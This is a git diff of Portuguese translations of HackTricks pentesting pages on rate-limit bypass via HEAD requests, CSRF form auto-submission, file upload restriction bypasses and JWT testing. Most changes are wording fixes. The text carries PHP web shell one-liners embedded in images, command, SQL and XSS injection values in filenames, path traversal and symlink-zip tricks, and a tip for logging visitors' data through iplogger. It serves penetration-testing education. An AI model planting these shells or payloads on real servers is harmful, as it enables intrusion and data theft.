A primeira parte [**deste writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [o código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **lidar com solicitações HEAD como solicitações GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com solicitações HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
|
||||
|
||||
Portanto, se uma solicitação GET estiver sendo limitada, você poderia simplesmente **enviar uma solicitação HEAD que será processada como uma solicitação GET**.
|
||||
|
||||
|
@ -260,7 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Enviar solicitação POST de formulário por meio de um iframe
|
||||
### Enviar solicitação POST do formulário por meio de um iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -338,7 +342,7 @@ body += "--" + boundary + "--";
|
|||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body);
|
||||
```
|
||||
### Enviar solicitação POST de um formulário de dentro de um iframe
|
||||
### Solicitação POST de formulário de dentro de um iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -579,7 +583,7 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
|
@ -590,7 +594,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -601,9 +605,9 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -35,11 +35,11 @@ Outras extensões úteis:
|
|||
|
||||
### Bypass de Verificações de Extensão de Arquivo
|
||||
|
||||
1. Se aplicável, **verifique** as **extensões anteriores**. Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Se aplicável, **verifique** as **extensões anteriores**. Teste-as também usando algumas letras **maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Tente adicionar **caracteres especiais no final**. Você pode usar o Burp para **forçar** todos os caracteres **ascii** e **Unicode**. (_Observe que você também pode tentar usar as **extensões anteriormente** mencionadas_)
|
||||
3. Tente adicionar **caracteres especiais no final**. Você pode usar o Burp para **forçar bruta** todos os caracteres **ascii** e **Unicode**. (_Observe que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -73,22 +73,22 @@ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
|
|||
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Digamos 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Faça o payload
|
||||
# Crie o payload
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
### Bypassar Tipo de Conteúdo, Número Mágico, Compressão e Redimensionamento
|
||||
### Bypassar Content-Type, Número Mágico, Compressão e Redimensionamento
|
||||
|
||||
* Bypassar verificações de **Tipo de Conteúdo** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_, _text/plain_, _application/octet-stream_
|
||||
1. **Lista de palavras-chave de Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Bypassar verificações de **Content-Type** definindo o **valor** do **header Content-Type** para: _image/png_, _text/plain_, _application/octet-stream_
|
||||
1. Wordlist de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Bypassar verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduzir o shell dentro dos **metadados**:\
|
||||
`exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou também **introduzir o payload diretamente** em uma imagem:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Se **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **chunk PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||
* Se **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||
* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **chunk tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||
* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
|
||||
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Outros Truques para Verificar
|
||||
|
@ -99,8 +99,8 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
1. Enviar **várias vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome**
|
||||
2. Enviar um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||
3. Enviar um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
4. Enviar um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows)
|
||||
5. Enviar um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
|
||||
4. Enviar um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS** (Windows).
|
||||
5. Enviar um arquivo no **Windows** com caracteres inválidos como `|<>*?”` em seu nome (Windows).
|
||||
6. Enviar um arquivo no **Windows** usando **nomes** **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||
* Tente também **enviar um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
|
||||
|
||||
|
@ -109,13 +109,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
Se estiver tentando enviar arquivos para um **servidor PHP**, [confira o truque do **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Se estiver tentando enviar arquivos para um **servidor ASP**, [confira o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP, ou incluindo-o dentro de um script...)
|
||||
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP, ou incluindo-o dentro de um script...).
|
||||
|
||||
A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **esta extensão ser executada**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Se você puder enviar um arquivo XML para um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na seguinte imagem, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere a shell!
|
||||
Se você puder enviar um arquivo XML para um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere a shell!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
|
||||
|
@ -149,7 +149,7 @@ A execução da carga ocorre durante a análise do arquivo de configuração. Pa
|
|||
|
||||
## **Truque de Upload de Arquivo/SSRF do wget**
|
||||
|
||||
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** o **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **esta verificação pode ser contornada.**\
|
||||
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** o **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada.**\
|
||||
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -182,18 +182,18 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
|
|||
## De Upload de Arquivo para outras vulnerabilidades
|
||||
|
||||
* Defina o **nome do arquivo** como `../../../tmp/lol.png` e tente alcançar uma **travessia de caminho**
|
||||
* Defina o **nome do arquivo** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **injeção de SQL**
|
||||
* Defina o **nome do arquivo** como `sleep(10)-- -.jpg` e você pode conseguir uma **injeção de SQL**
|
||||
* Defina o **nome do arquivo** como `<svg onload=alert(document.domain)>` para alcançar um XSS
|
||||
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
|
||||
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* Upload de arquivo **JS** + **XSS** = Exploração de [**Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* Upload de arquivo **JS** + **XSS** = [exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Experimente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Vulnerabilidade de **ImageTrick** famosa](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Se você puder **indicar ao servidor web para capturar uma imagem de uma URL** você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se esta **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
|
||||
* Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se essa **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
|
||||
* [**XXE e CORS** bypass com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDFs especialmente elaborados para XSS: A [página seguinte apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar alguns PDFs que executarão JS arbitrário seguindo as indicações fornecidas.
|
||||
* PDFs especialmente elaborados para XSS: A [página a seguir apresenta como **injetar dados de PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar alguns PDFs que executarão JS arbitrário seguindo as indicações fornecidas.
|
||||
* Faça o upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
|
||||
* Verifique se há algum **limite de tamanho** ao enviar arquivos
|
||||
|
||||
|
@ -219,7 +219,7 @@ Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo up
|
|||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
* **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para outros tipos de arquivos.
|
||||
Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para outros tipos de arquivo.
|
||||
|
||||
### Upload Automático de Arquivo Zip/Tar Descompactado
|
||||
|
||||
|
@ -227,7 +227,7 @@ Se você puder fazer upload de um ZIP que será descompactado dentro do servidor
|
|||
|
||||
#### Symlink
|
||||
|
||||
Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
|
||||
Faça upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
|
@ -268,7 +268,7 @@ create_zip()
|
|||
|
||||
Para mais detalhes, **verifique a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados pela variável `$_REQUEST`.
|
||||
1. **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -302,7 +302,7 @@ pop graphic-context
|
|||
|
||||
Incorporar um shell PHP no chunk IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para determinados casos de uso.
|
||||
|
||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Web Shells em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Shells Web em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
|
||||
Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -310,7 +310,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
|
|||
|
||||
Arquivos poliglotas atuam como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Tais arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
|
||||
|
||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições de forma furtiva.
|
||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições de forma furtiva.
|
||||
|
||||
Apesar de sua adaptabilidade, os poliglotas encontram limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso em relação às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
|
||||
|
||||
|
@ -325,9 +325,9 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -340,7 +340,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,13 +25,13 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
### **Ganhos Rápidos**
|
||||
|
||||
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde as linhas verdes
|
||||
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `Todos os Testes!` e aguarde as linhas verdes
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não está verificando corretamente o JWT:
|
||||
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não esteja verificando corretamente o JWT:
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
|
@ -41,22 +41,22 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
```
|
||||
### Manipular dados sem modificar nada
|
||||
|
||||
Você pode simplesmente manipular os dados deixando a assinatura como está e verificar se o servidor está verificando a assinatura. Tente alterar seu nome de usuário para "admin", por exemplo.
|
||||
Você pode simplesmente manipular os dados sem alterar a assinatura e verificar se o servidor está verificando a assinatura. Tente alterar seu nome de usuário para "admin", por exemplo.
|
||||
|
||||
#### **O token está sendo verificado?**
|
||||
#### **O token é verificado?**
|
||||
|
||||
Para verificar se a assinatura de um JWT está sendo verificada:
|
||||
|
||||
* Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
|
||||
* Uma mudança na página retornada também indica verificação.
|
||||
* Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações de carga útil.
|
||||
* Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações do payload.
|
||||
|
||||
### Origem
|
||||
|
||||
É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de solicitações do proxy.
|
||||
|
||||
